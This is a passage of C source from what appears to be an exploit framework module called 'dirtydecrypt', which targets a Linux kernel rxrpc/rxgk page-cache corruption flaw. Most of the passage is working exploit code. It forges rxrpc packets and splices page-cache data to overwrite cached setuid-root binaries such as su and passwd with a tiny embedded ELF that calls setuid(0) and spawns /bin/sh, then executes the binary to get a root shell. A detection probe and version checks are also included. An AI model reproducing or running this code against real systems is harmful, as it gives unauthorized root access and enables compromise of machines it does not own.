"/usr/bin/su", "/bin/su", "/usr/bin/mount",
|
||||
"/usr/bin/passwd", "/usr/bin/chsh", NULL
|
||||
};
|
||||
|
||||
/* --- helpers (faithful to the V12 PoC) --- */
|
||||
|
||||
static long key_add(const char *type, const char *desc,
|
||||
const void *payload, size_t plen, int ringid)
|
||||
{
|
||||
return syscall(SYS_add_key, type, desc, payload, plen, ringid);
|
||||
}
|
||||
|
||||
static int write_proc(const char *path, const char *buf)
|
||||
{
|
||||
int fd = open(path, O_WRONLY);
|
||||
if (fd < 0) return -1;
|
||||
int n = write(fd, buf, strlen(buf));
|
||||
close(fd);
|
||||
return n;
|
||||
}
|
||||
|
||||
static void setup_ns(void)
|
||||
{
|
||||
uid_t uid = getuid();
|
||||
gid_t gid = getgid();
|
||||
|
||||
if (unshare(CLONE_NEWUSER | CLONE_NEWNET) < 0) {
|
||||
if (unshare(CLONE_NEWNET) < 0) {
|
||||
perror("unshare");
|
||||
_exit(4);
|
||||
}
|
||||
} else {
|
||||
write_proc("/proc/self/setgroups", "deny");
|
||||
char map[64];
|
||||
snprintf(map, sizeof(map), "0 %u 1", uid);
|
||||
write_proc("/proc/self/uid_map", map);
|
||||
snprintf(map, sizeof(map), "0 %u 1", gid);
|
||||
write_proc("/proc/self/gid_map", map);
|
||||
}
|
||||
|
||||
int s = socket(AF_INET, SOCK_DGRAM, 0);
|
||||
if (s >= 0) {
|
||||
struct ifreq ifr = {0};
|
||||
strncpy(ifr.ifr_name, "lo", IFNAMSIZ);
|
||||
if (ioctl(s, SIOCGIFFLAGS, &ifr) == 0) {
|
||||
ifr.ifr_flags |= IFF_UP | IFF_RUNNING;
|
||||
ioctl(s, SIOCSIFFLAGS, &ifr);
|
||||
}
|
||||
close(s);
|
||||
}
|
||||
}
|
||||
|
||||
static void xdr_put32(uint8_t **pp, uint32_t val)
|
||||
{
|
||||
uint32_t nv = htonl(val);
|
||||
memcpy(*pp, &nv, 4);
|
||||
*pp += 4;
|
||||
}
|
||||
|
||||
static void xdr_put64(uint8_t **pp, uint64_t val)
|
||||
{
|
||||
xdr_put32(pp, (uint32_t)(val >> 32));
|
||||
xdr_put32(pp, (uint32_t)(val & 0xFFFFFFFF));
|
||||
}
|
||||
|
||||
static void xdr_put_data(uint8_t **pp, const void *data, size_t len)
|
||||
{
|
||||
xdr_put32(pp, (uint32_t)len);
|
||||
memcpy(*pp, data, len);
|
||||
*pp += len;
|
||||
size_t pad = (4 - (len & 3)) & 3;
|
||||
if (pad) { memset(*pp, 0, pad); *pp += pad; }
|
||||
}
|
||||
|
||||
static int build_rxgk_token(uint8_t *out, size_t maxlen,
|
||||
const uint8_t *base_key, size_t keylen)
|
||||
{
|
||||
uint8_t *p = out;
|
||||
struct timespec ts;
|
||||
clock_gettime(CLOCK_REALTIME, &ts);
|
||||
uint64_t now = (uint64_t)ts.tv_sec * 10000000ULL +
|
||||
(uint64_t)ts.tv_nsec / 100ULL;
|
||||
|
||||
xdr_put32(&p, 0); /* flags */
|
||||
xdr_put_data(&p, "poc.test", 8); /* cell */
|
||||
xdr_put32(&p, 1); /* ntoken */
|
||||
|
||||
uint8_t tok[512];
|
||||
uint8_t *tp = tok;
|
||||
xdr_put32(&tp, RXGK_SECURITY_INDEX);
|
||||
xdr_put64(&tp, now); /* begintime */
|
||||
xdr_put64(&tp, now + 864000000000ULL); /* endtime */
|
||||
xdr_put64(&tp, 2); /* level = ENCRYPT */
|
||||
xdr_put64(&tp, 864000000000ULL); /* lifetime */
|
||||
xdr_put64(&tp, 0); /* bytelife */
|
||||
xdr_put64(&tp, ENCTYPE_AES128_CTS); /* enctype */
|
||||
xdr_put_data(&tp, base_key, keylen); /* key */
|
||||
uint8_t ticket[8] = {0xDE,0xAD,0xBE,0xEF,0xCA,0xFE,0xBA,0xBE};
|
||||
xdr_put_data(&tp, ticket, sizeof(ticket));
|
||||
|
||||
size_t toklen = (size_t)(tp - tok);
|
||||
xdr_put32(&p, (uint32_t)toklen);
|
||||
memcpy(p, tok, toklen);
|
||||
p += toklen;
|
||||
|
||||
if ((size_t)(p - out) > maxlen) return -1;
|
||||
return (int)(p - out);
|
||||
}
|
||||
|
||||
static long add_rxgk_key(const char *desc, const uint8_t *base_key, size_t keylen)
|
||||
{
|
||||
uint8_t buf[1024];
|
||||
int n = build_rxgk_token(buf, sizeof(buf), base_key, keylen);
|
||||
if (n < 0) return -1;
|
||||
return key_add("rxrpc", desc, buf, n, KEY_SPEC_PROCESS_KEYRING);
|
||||
}
|
||||
|
||||
static int setup_rxrpc_client(uint16_t local_port, const char *keyname)
|
||||
{
|
||||
int fd = socket(AF_RXRPC, SOCK_DGRAM, PF_INET);
|
||||
if (fd < 0) return -1;
|
||||
|
||||
if (setsockopt(fd, SOL_RXRPC, RXRPC_SECURITY_KEY,
|
||||
keyname, strlen(keyname)) < 0) {
|
||||
close(fd); return -1;
|
||||
}
|
||||
int min_level = RXRPC_SECURITY_ENCRYPT;
|
||||
if (setsockopt(fd, SOL_RXRPC, RXRPC_MIN_SECURITY_LEVEL,
|
||||
&min_level, sizeof(min_level)) < 0) {
|
||||
close(fd); return -1;
|
||||
}
|
||||
|
||||
struct sockaddr_rxrpc srx = {0};
|
||||
srx.srx_family = AF_RXRPC;
|
||||
srx.srx_service = 0;
|
||||
srx.transport_type = SOCK_DGRAM;
|
||||
srx.transport_len = sizeof(struct sockaddr_in);
|
||||
srx.transport.sin.sin_family = AF_INET;
|
||||
srx.transport.sin.sin_port = htons(local_port);
|
||||
srx.transport.sin.sin_addr.s_addr = htonl(0x7F000001);
|
||||
|
||||
if (bind(fd, (struct sockaddr *)&srx, sizeof(srx)) < 0) {
|
||||
close(fd); return -1;
|
||||
}
|
||||
return fd;
|
||||
}
|
||||
|
||||
static int initiate_call(int cli_fd, uint16_t srv_port, uint16_t service_id)
|
||||
{
|
||||
char data[] = "TESTDATA";
|
||||
struct sockaddr_rxrpc srx = {0};
|
||||
srx.srx_family = AF_RXRPC;
|
||||
srx.srx_service = service_id;
|
||||
srx.transport_type = SOCK_DGRAM;
|
||||
srx.transport_len = sizeof(struct sockaddr_in);
|
||||
srx.transport.sin.sin_family = AF_INET;
|
||||
srx.transport.sin.sin_port = htons(srv_port);
|
||||
srx.transport.sin.sin_addr.s_addr = htonl(0x7F000001);
|
||||
|
||||
char cmsg_buf[CMSG_SPACE(sizeof(unsigned long))];
|
||||
struct msghdr msg = {0};
|
||||
msg.msg_name = &srx;
|
||||
msg.msg_namelen = sizeof(srx);
|
||||
struct iovec iov = { .iov_base = data, .iov_len = sizeof(data) };
|
||||
msg.msg_iov = &iov;
|
||||
msg.msg_iovlen = 1;
|
||||
msg.msg_control = cmsg_buf;
|
||||
msg.msg_controllen = sizeof(cmsg_buf);
|
||||
struct cmsghdr *cmsg = CMSG_FIRSTHDR(&msg);
|
||||
cmsg->cmsg_level = SOL_RXRPC;
|
||||
cmsg->cmsg_type = RXRPC_USER_CALL_ID;
|
||||
cmsg->cmsg_len = CMSG_LEN(sizeof(unsigned long));
|
||||
*(unsigned long *)CMSG_DATA(cmsg) = 0xDEAD;
|
||||
|
||||
int fl = fcntl(cli_fd, F_GETFL);
|
||||
fcntl(cli_fd, F_SETFL, fl | O_NONBLOCK);
|
||||
ssize_t n = sendmsg(cli_fd, &msg, 0);
|
||||
fcntl(cli_fd, F_SETFL, fl);
|
||||
|
||||
if (n < 0 && errno != EAGAIN && errno != EWOULDBLOCK)
|
||||
return -1;
|
||||
return 0;
|
||||
}
|
||||
|
||||
static int setup_udp_server(uint16_t port)
|
||||
{
|
||||
int s = socket(AF_INET, SOCK_DGRAM, 0);
|
||||
if (s < 0) return -1;
|
||||
struct sockaddr_in sa = {
|
||||
.sin_family = AF_INET,
|
||||
.sin_port = htons(port),
|
||||
.sin_addr.s_addr = htonl(0x7F000001),
|
||||
};
|
||||
int one = 1;
|
||||
setsockopt(s, SOL_SOCKET, SO_REUSEADDR, &one, sizeof(one));
|
||||
if (bind(s, (struct sockaddr *)&sa, sizeof(sa)) < 0) {
|
||||
close(s); return -1;
|
||||
}
|
||||
return s;
|
||||
}
|
||||
|
||||
static ssize_t udp_recv(int s, void *buf, size_t cap,
|
||||
struct sockaddr_in *from, int timeout_ms)
|
||||
{
|
||||
struct pollfd pfd = { .fd = s, .events = POLLIN };
|
||||
if (poll(&pfd, 1, timeout_ms) <= 0) return -1;
|
||||
socklen_t fl = from ? sizeof(*from) : 0;
|
||||
return recvfrom(s, buf, cap, 0, (struct sockaddr *)from, from ? &fl : NULL);
|
||||
}
|
||||
|
||||
static int dd_trigger_seq = 0;
|
||||
|
||||
/*
|
||||
* Fire one splice-based page-cache corruption at the given file offset.
|
||||
* Returns 1 on fire, -1 on setup error.
|
||||
*/
|
||||
static int fire(int target_fd, off_t splice_off, size_t splice_len,
|
||||
const uint8_t *base_key, size_t keylen)
|
||||
{
|
||||
char keyname[32];
|
||||
snprintf(keyname, sizeof(keyname), "rxgk%d", dd_trigger_seq++);
|
||||
|
||||
long key = add_rxgk_key(keyname, base_key, keylen);
|
||||
if (key < 0) return -1;
|
||||
|
||||
uint16_t port_S = 10000 + (rand() % 27000) * 2;
|
||||
uint16_t port_C = port_S + 1;
|
||||
int ret = -1;
|
||||
|
||||
int udp_srv = setup_udp_server(port_S);
|
||||
if (udp_srv < 0) goto out_key;
|
||||
|
||||
int cli = setup_rxrpc_client(port_C, keyname);
|
||||
if (cli < 0) goto out_udp;
|
||||
|
||||
if (initiate_call(cli, port_S, 1234) < 0)
|
||||
goto out_cli;
|
||||
|
||||
uint8_t pkt[2048];
|
||||
struct sockaddr_in cli_addr;
|
||||
ssize_t n = udp_recv(udp_srv, pkt, sizeof(pkt), &cli_addr, 50);
|
||||
if (n < (ssize_t)sizeof(struct rxrpc_wire_header)) goto out_cli;
|
||||
|
||||
struct rxrpc_wire_header *hdr = (struct rxrpc_wire_header *)pkt;
|
||||
uint32_t epoch = ntohl(hdr->epoch);
|
||||
uint32_t cid = ntohl(hdr->cid);
|
||||
uint32_t callN = ntohl(hdr->callNumber);
|
||||
uint16_t svc = ntohs(hdr->serviceId);
|
||||
uint16_t cport = ntohs(cli_addr.sin_port);
|
||||
|
||||
/* send challenge */
|
||||
{
|
||||
uint8_t ch[sizeof(struct rxrpc_wire_header) + 20];
|
||||
memset(ch, 0, sizeof(ch));
|
||||
struct rxrpc_wire_header *c = (struct rxrpc_wire_header *)ch;
|
||||
c->epoch = htonl(epoch);
|
||||
c->cid = htonl(cid);
|
||||
c->serial = htonl(0x10000);
|
||||
c->type = RXRPC_PACKET_TYPE_CHALLENGE;
|
||||
c->securityIndex = RXGK_SECURITY_INDEX;
|
||||
c->serviceId = htons(svc);
|
||||
for (int i = 0; i < 20; i++)
|
||||
ch[sizeof(struct rxrpc_wire_header) + i] = rand() & 0xFF;
|
||||
struct sockaddr_in to = { .sin_family = AF_INET,
|
||||
.sin_port = htons(cport),
|
||||
.sin_addr.s_addr = htonl(0x7F000001) };
|
||||
sendto(udp_srv, ch, sizeof(ch), 0,
|
||||
(struct sockaddr *)&to, sizeof(to));
|
||||
}
|
||||
|
||||
/* drain response(s) */
|
||||
for (int i = 0; i < 3; i++) {
|
||||
struct sockaddr_in src;
|
||||
if (udp_recv(udp_srv, pkt, sizeof(pkt), &src, 5) < 0) break;
|
||||
}
|
||||
|
||||
/* forge DATA packet: wire header from userspace, payload from page cache */
|
||||
struct rxrpc_wire_header mal = {0};
|
||||
mal.epoch = htonl(epoch);
|
||||
mal.cid = htonl(cid);
|
||||
mal.callNumber = htonl(callN);
|
||||
mal.seq = htonl(1);
|
||||
mal.serial = htonl(0x42000);
|
||||
mal.type = RXRPC_PACKET_TYPE_DATA;
|
||||
mal.flags = RXRPC_LAST_PACKET;
|
||||
mal.securityIndex = RXGK_SECURITY_INDEX;
|
||||
mal.serviceId = htons(svc);
|
||||
|
||||
struct sockaddr_in dst = { .sin_family = AF_INET,
|
||||
.sin_port = htons(cport),
|
||||
.sin_addr.s_addr = htonl(0x7F000001) };
|
||||
if (connect(udp_srv, (struct sockaddr *)&dst, sizeof(dst)) < 0)
|
||||
goto out_cli;
|
||||
|
||||
int p[2];
|
||||
if (pipe(p) < 0) goto out_cli;
|
||||
struct iovec viv = { .iov_base = &mal, .iov_len = sizeof(mal) };
|
||||
if (vmsplice(p[1], &viv, 1, 0) < 0)
|
||||
{ close(p[0]); close(p[1]); goto out_cli; }
|
||||
loff_t off = splice_off;
|
||||
if (splice(target_fd, &off, p[1], NULL, splice_len, SPLICE_F_NONBLOCK) < 0)
|
||||
{ close(p[0]); close(p[1]); goto out_cli; }
|
||||
if (splice(p[0], NULL, udp_srv, NULL, sizeof(mal) + splice_len, 0) < 0)
|
||||
{ close(p[0]); close(p[1]); goto out_cli; }
|
||||
close(p[0]); close(p[1]);
|
||||
|
||||
usleep(1000);
|
||||
|
||||
/* drain the error from the client socket (HMAC check fails as expected) */
|
||||
int fl = fcntl(cli, F_GETFL);
|
||||
fcntl(cli, F_SETFL, fl | O_NONBLOCK);
|
||||
for (int i = 0; i < 2; i++) {
|
||||
char rb[2048]; struct sockaddr_rxrpc srx; char ccb[256];
|
||||
struct msghdr m = {0};
|
||||
struct iovec iv = { .iov_base = rb, .iov_len = sizeof(rb) };
|
||||
m.msg_name = &srx; m.msg_namelen = sizeof(srx);
|
||||
m.msg_iov = &iv; m.msg_iovlen = 1;
|
||||
m.msg_control = ccb; m.msg_controllen = sizeof(ccb);
|
||||
recvmsg(cli, &m, 0);
|
||||
}
|
||||
ret = 1;
|
||||
|
||||
out_cli:
|
||||
close(cli);
|
||||
out_udp:
|
||||
close(udp_srv);
|
||||
out_key:
|
||||
syscall(SYS_keyctl, 9 /* KEYCTL_UNLINK */, key, KEY_SPEC_PROCESS_KEYRING);
|
||||
syscall(SYS_keyctl, 21 /* KEYCTL_INVALIDATE */, key);
|
||||
return ret;
|
||||
}
|
||||
|
||||
/* --- sliding-window write with progress display --- */
|
||||
|
||||
static void dd_progress(int done, int total, int fires)
|
||||
{
|
||||
if (!dd_verbose) return;
|
||||
int width = 40;
|
||||
int filled = total ? (done * width / total) : 0;
|
||||
int pct = total ? (done * 100 / total) : 0;
|
||||
fprintf(stderr, "\r [");
|
||||
for (int j = 0; j < width; j++)
|
||||
fputc(j < filled ? '=' : (j == filled ? '>' : ' '), stderr);
|
||||
fprintf(stderr, "] %3d%% (%d/%d, %d fires)", pct, done, total, fires);
|
||||
if (done == total) fputc('\n', stderr);
|
||||
fflush(stderr);
|
||||
}
|
||||
|
||||
static int pagecache_write(int rfd, void *map, off_t base,
|
||||
const uint8_t *target, int len, off_t file_size,
|
||||
const char *label)
|
||||
{
|
||||
uint8_t key[16];
|
||||
uint64_t seed = (uint64_t)time(NULL) * 0x100000001ULL ^ (uint64_t)getpid();
|
||||
int total = 0;
|
||||
|
||||
int max_off = (int)(file_size - 28);
|
||||
if (base + len - 1 > max_off)
|
||||
len = max_off - (int)base + 1;
|
||||
|
||||
/* Find first byte that differs. We must write everything from there
|
||||
* onward — each round's 15-byte damage zone corrupts the next bytes. */
|
||||
int start = 0;
|
||||
for (int i = 0; i < len; i++) {
|
||||
uint8_t cur;
|
||||
pread(rfd, &cur, 1, base + i);
|
||||
if (cur != target[i]) { start = i; break; }
|
||||
if (i == len - 1) {
|
||||
LOG("page cache already matches, skipping write");
|
||||
return 0;
|
||||
}
|
||||
}
|
||||
int need = len - start;
|
||||
|
||||
LOG("writing payload to %s (%d bytes from offset %d)",
|
||||
label, need, (int)base + start);
|
||||
dd_progress(0, need, 0);
|
||||
|
||||
for (int i = start; i < len; i++) {
|
||||
off_t off = base + i;
|
||||
uint8_t want = target[i];
|
||||
uint8_t cur;
|
||||
pread(rfd, &cur, 1, off);
|
||||
|
||||
if (cur == want && i > start)
|
||||
continue;
|
||||
|
||||
int ok = 0;
|
||||
for (int att = 0; att < 10000; att++) {
|
||||
seed ^= seed << 13; seed ^= seed >> 7; seed ^= seed << 17;
|
||||
uint64_t r = seed;
|
||||
seed ^= seed << 13; seed ^= seed >> 7; seed ^= seed << 17;
|
||||
memcpy(key, &r, 8);
|
||||
memcpy(key + 8, &seed, 8);
|
||||
|
||||
size_t slen = 28;
|
||||
if (off + (off_t)slen > file_size) slen = file_size - off;
|
||||
if (slen < 16) slen = 16;
|
||||
int rc = fire(rfd, off, slen, key, AES_KEY_LEN);
|
||||
total++;
|
||||
if (rc == 1 && ((const uint8_t *)map)[off] == want) {
|
||||
ok = 1;
|
||||
dd_progress(i - start + 1, need, total);
|
||||
break;
|
||||
}
|
||||
}
|
||||
if (!ok) {
|
||||
if (dd_verbose) fprintf(stderr, "\n");
|
||||
ERR("byte %d/%d failed", i - start + 1, need);
|
||||
return -1;
|
||||
}
|
||||
}
|
||||
|
||||
LOG("%d fires total", total);
|
||||
return 0;
|
||||
}
|
||||
|
||||
/* --- tiny ELF: setuid(0) + execve("/bin/sh") ---
|
||||
* 120-byte ET_DYN ELF with overlapping phdr+header and /bin/sh in p_paddr.
|
||||
* Reproduced verbatim from the V12 PoC. */
|
||||
static const uint8_t tiny_elf[] = {
|
||||
0x7f,0x45,0x4c,0x46,0x02,0x01,0x01,0x00, 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
|
||||
0x03,0x00,0x3e,0x00,0x01,0x00,0x00,0x00, 0x68,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
|
||||
0x38,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
|
||||
0x00,0x00,0x00,0x00,0x40,0x00,0x38,0x00, 0x01,0x00,0x00,0x00,0x05,0x00,0x00,0x00,
|
||||
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
|
||||
0x2f,0x62,0x69,0x6e,0x2f,0x73,0x68,0x00, 0x78,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
|
||||
0x78,0x00,0x00,0x00,0x00,0x00,0x00,0x00, /* code: */
|
||||
0xb0,0x69,0x0f,0x05, /* setuid(0) */
|
||||
0x48,0x8d,0x3d,0xdd,0xff,0xff,0xff, /* lea rdi, "/bin/sh" */
|
||||
0x6a,0x3b,0x58, /* push 59; pop rax */
|
||||
0x0f,0x05, /* execve("/bin/sh", 0, 0) */
|
||||
};
|
||||
|
||||
/* Pick the first readable setuid-root binary from the candidate list. */
|
||||
static const char *dd_pick_target(void)
|
||||
{
|
||||
for (int i = 0; dd_targets[i]; i++) {
|
||||
struct stat sb;
|
||||
if (stat(dd_targets[i], &sb) == 0 &&
|
||||
(sb.st_mode & S_ISUID) && sb.st_uid == 0 &&
|
||||
access(dd_targets[i], R_OK) == 0)
|
||||
return dd_targets[i];
|
||||
}
|
||||
return NULL;
|
||||
}
|
||||
|
||||
/* Best-effort page-cache eviction for one path. */
|
||||
static void dd_evict(const char *path)
|
||||
{
|
||||
int fd = open(path, O_RDONLY);
|
||||
if (fd >= 0) {
|
||||
#ifdef POSIX_FADV_DONTNEED
|
||||
posix_fadvise(fd, 0, 0, POSIX_FADV_DONTNEED);
|
||||
#endif
|
||||
close(fd);
|
||||
}
|
||||
int dc = open("/proc/sys/vm/drop_caches", O_WRONLY);
|
||||
if (dc >= 0) { if (write(dc, "3\n", 2) < 0) {} close(dc); }
|
||||
}
|
||||
|
||||
/* ---- detect ------------------------------------------------------- */
|
||||
|
||||
/*
|
||||
* Active sentinel probe: fire the rxgk primitive against a disposable
|
||||
* /tmp file and check whether the page cache was corrupted. Never
|
||||
* touches a setuid binary. Returns 1 vulnerable, 0 not, -1 probe error.
|
||||
*/
|
||||
static int dd_active_probe(void)
|
||||
{
|
||||
char probe[] = "/tmp/skeletonkey-dirtydecrypt-probe-XXXXXX";
|
||||
int fd = mkstemp(probe);
|
||||
if (fd < 0) return -1;
|
||||
uint8_t seed_buf[256];
|
||||
for (int i = 0; i < (int)sizeof(seed_buf); i++) seed_buf[i] = 0xA5;
|
||||
if (write(fd, seed_buf, sizeof seed_buf) != (ssize_t)sizeof seed_buf) {
|
||||
close(fd); unlink(probe); return -1;
|
||||
}
|
||||
fsync(fd);
|
||||
close(fd);
|
||||
|
||||
int rfd = open(probe, O_RDONLY);
|
||||
if (rfd < 0) { unlink(probe); return -1; }
|
||||
void *map = mmap(NULL, 4096, PROT_READ, MAP_SHARED, rfd, 0);
|
||||
if (map == MAP_FAILED) { close(rfd); unlink(probe); return -1; }
|
||||
|
||||
int result = -1;
|
||||
pid_t pid = fork();
|
||||
if (pid == 0) {
|
||||
setup_ns();
|
||||
usleep(10000);
|
||||
int s = socket(AF_RXRPC, SOCK_DGRAM, PF_INET);
|
||||
if (s < 0) _exit(2); /* AF_RXRPC unavailable */
|
||||
close(s);
|
||||
uint8_t key[16];
|
||||
for (int att = 0; att < 64; att++) {
|
||||
for (int k = 0; k < 16; k++) key[k] = rand() & 0xff;
|
||||
if (fire(rfd, 16, 28, key, AES_KEY_LEN) != 1)
|
||||
continue;
|
||||
/* corruption hits a 16-byte block at the offset */
|
||||
for (int b = 16; b < 32; b++)
|
||||
if (((const uint8_t *)map)[b] != 0xA5)
|
||||
_exit(0); /* vulnerable */
|
||||
}
|
||||
_exit(1); /* primitive did not land */
|
||||
}
|
||||
if (pid > 0) {
|
||||
int st;
|
||||
waitpid(pid, &st, 0);
|
||||
if (WIFEXITED(st)) {
|
||||
if (WEXITSTATUS(st) == 0) result = 1;
|
||||
else if (WEXITSTATUS(st) == 1) result = 0;
|
||||
else result = -1; /* AF_RXRPC unavailable / error */
|
||||
}
|
||||
}
|
||||
munmap(map, 4096);
|
||||
close(rfd);
|
||||
unlink(probe);
|
||||
return result;
|
||||
}
|
||||
|
||||
/*
|
||||
* CVE-2026-31635 affects kernels with the rxgk RESPONSE-handling code
|
||||
* (CONFIG_RXGK). Per Debian's tracker, the vulnerable code was
|
||||
* introduced in the 7.0 development cycle — older mainline branches
|
||||
* (bullseye 5.10 / bookworm 6.1 / trixie 6.12) are <not-affected,
|
||||
* vulnerable code not present>. The fix is upstream commit
|
||||
* a2567217ade970ecc458144b6be469bc015b23e5 ("rxrpc: fix oversized
|
||||
* RESPONSE authenticator length check"), shipped in Linux 7.0.
|
||||
*
|
||||
* The detect logic therefore is:
|
||||
* - kernel < 7.0 → SKELETONKEY_OK (predates the bug)
|
||||
* - kernel ≥ 7.0 → consult kernel_range; 7.0+ has the fix
|
||||
* - --active → empirical override (catches pre-fix 7.0-rc kernels
|
||||
* or weird distro rebuilds the version check missed)
|
||||
*/
|
||||
static const struct kernel_patched_from dirtydecrypt_patched_branches[] = {
|
||||
{7, 0, 0}, /* mainline fix commit a2567217 landed in Linux 7.0 */
|
||||
};
|
||||
static const struct kernel_range dirtydecrypt_range = {
|
||||
.patched_from = dirtydecrypt_patched_branches,
|
||||
.n_patched_from = sizeof(dirtydecrypt_patched_branches) /
|
||||
sizeof(dirtydecrypt_patched_branches[0]),
|
||||
};
|
||||
|
||||
static skeletonkey_result_t dd_detect(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
dd_verbose = !ctx->json;
|
||||
|
||||
/* Consult the shared host fingerprint instead of calling
|
||||
* kernel_version_current() ourselves — populated once at startup
|
||||
* and identical across every module's detect(). */
|
||||
const struct kernel_version *v = ctx->host ? &ctx->host->kernel : NULL;
|
||||
if (!v || v->major == 0) {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[!] dirtydecrypt: host fingerprint missing kernel "
|
||||
"version — bailing\n");
|
||||
return SKELETONKEY_TEST_ERROR;
|
||||
}
|
||||
|
||||
/* Predates the bug: rxgk RESPONSE-handling code was added in 7.0. */
|
||||
if (!skeletonkey_host_kernel_at_least(ctx->host, 7, 0, 0)) {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[i] dirtydecrypt: kernel %s predates the rxgk "
|
||||
"RESPONSE-handling code added in 7.0 — not applicable\n",
|
||||
v->release);
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
/* Precondition: AF_RXRPC must be reachable for the primitive. */
|
||||
int s = socket(AF_RXRPC, SOCK_DGRAM, PF_INET);
|
||||
if (s < 0) {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[i] dirtydecrypt: AF_RXRPC unavailable "
|
||||
"(%s) — rxgk path not reachable here\n",
|
||||
strerror(errno));
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
close(s);
|
||||
|
||||
if (!dd_pick_target()) {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[i] dirtydecrypt: no readable setuid-root "
|
||||
"binary — exploit has no carrier here\n");
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
|
||||
bool patched_by_version = kernel_range_is_patched(&dirtydecrypt_range, v);
|
||||
|
||||
if (ctx->active_probe) {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[*] dirtydecrypt: running active sentinel "
|
||||
"probe (safe; /tmp only)\n");
|
||||
int p = dd_active_probe();
|
||||
if (p == 1) {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[!] dirtydecrypt: ACTIVE PROBE "
|
||||
"CONFIRMED — rxgk in-place decrypt corrupts "
|
||||
"the page cache (kernel %s)\n", v->release);
|
||||
return SKELETONKEY_VULNERABLE;
|
||||
}
|
||||
if (p == 0) {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[+] dirtydecrypt: active probe did "
|
||||
"not land — primitive blocked (likely patched%s)\n",
|
||||
patched_by_version ? "" : ", or distro silently fixed");
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[?] dirtydecrypt: active probe machinery "
|
||||
"failed; falling back to version verdict\n");
|
||||
}
|
||||
|
||||
if (patched_by_version) {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[+] dirtydecrypt: kernel %s is patched "
|
||||
"(commit a2567217 in Linux 7.0; version-only check — "
|
||||
"use --active to confirm)\n", v->release);
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[!] dirtydecrypt: kernel %s appears VULNERABLE "
|
||||
"(in 7.0-rc window before commit a2567217; version-only)\n"
|
||||
" Confirm empirically: skeletonkey --scan --active\n",
|
||||
v->release);
|
||||
return SKELETONKEY_VULNERABLE;
|
||||
}
|
||||
|
||||
/* ---- exploit ------------------------------------------------------ */
|
||||
|
||||
/* Runs in a forked child: corrupt the target's page cache, then either
|
||||
* exec it (shell mode) or _exit cleanly (no_shell). Never returns on
|
||||
* the shell path. Exit codes: 0 ok, 2 corruption failed, 4 precond. */
|
||||
static void dd_child(const char *target_path, int no_shell)
|
||||
{
|
||||
int rfd = open(target_path, O_RDONLY);
|
||||
if (rfd < 0) { perror("open target"); _exit(2); }
|
||||
struct stat sb;
|
||||
if (fstat(rfd, &sb) < 0) { perror("fstat"); _exit(2); }
|
||||
|
||||
void *map = mmap(NULL, 4096, PROT_READ, MAP_SHARED, rfd, 0);
|
||||
if (map == MAP_FAILED) { perror("mmap"); _exit(2); }
|
||||
|
||||
pid_t pid = fork();
|
||||
if (pid < 0) { perror("fork"); _exit(2); }
|
||||
if (pid == 0) {
|
||||
setup_ns();
|
||||
usleep(10000);
|
||||
int sock = socket(AF_RXRPC, SOCK_DGRAM, PF_INET);
|
||||
if (sock < 0) { ERR("AF_RXRPC unavailable"); _exit(4); }
|
||||
close(sock);
|
||||
_exit(pagecache_write(rfd, map, 0, tiny_elf, sizeof(tiny_elf),
|
||||
sb.st_size, target_path) < 0 ? 2 : 0);
|
||||
}
|
||||
int st;
|
||||
waitpid(pid, &st, 0);
|
||||
munmap(map, 4096);
|
||||
close(rfd);
|
||||
if (!WIFEXITED(st) || WEXITSTATUS(st) != 0) {
|
||||
ERR("page-cache corruption failed (status 0x%x)", st);
|
||||
_exit(WIFEXITED(st) && WEXITSTATUS(st) == 4 ? 4 : 2);
|
||||
}
|
||||
|
||||
if (no_shell) {
|
||||
LOG("--no-shell: page cache poisoned, shell not spawned");
|
||||
LOG("revert with `skeletonkey --cleanup dirtydecrypt`");
|
||||
_exit(0);
|
||||
}
|
||||
|
||||
LOG("page cache poisoned; exec %s to claim root", target_path);
|
||||
fflush(NULL);
|
||||
execlp(target_path, target_path, (char *)NULL);
|
||||
perror("execlp target");
|
||||
_exit(2);
|
||||
}
|
||||
|
||||
static skeletonkey_result_t dd_exploit(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
dd_verbose = !ctx->json;
|
||||
|
||||
if (geteuid() == 0) {
|
||||
fprintf(stderr, "[i] dirtydecrypt: already root — nothing to do\n");
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
const char *target = dd_pick_target();
|
||||
if (!target) {
|
||||
ERR("no readable setuid-root binary to use as a carrier");
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
LOG("target carrier: %s", target);
|
||||
|
||||
/* Record the target so cleanup() knows what to evict. */
|
||||
int sf = open("/tmp/skeletonkey-dirtydecrypt.target",
|
||||
O_WRONLY | O_CREAT | O_TRUNC, 0600);
|
||||
if (sf >= 0) { if (write(sf, target, strlen(target)) < 0) {} close(sf); }
|
||||
|
||||
srand(time(NULL) ^ getpid());
|
||||
|
||||
pid_t pid = fork();
|
||||
if (pid < 0) { perror("fork"); return SKELETONKEY_TEST_ERROR; }
|
||||
if (pid == 0)
|
||||
dd_child(target, ctx->no_shell); /* never returns on shell path */
|
||||
|
||||
int st;
|
||||
waitpid(pid, &st, 0);
|
||||
if (!WIFEXITED(st))
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
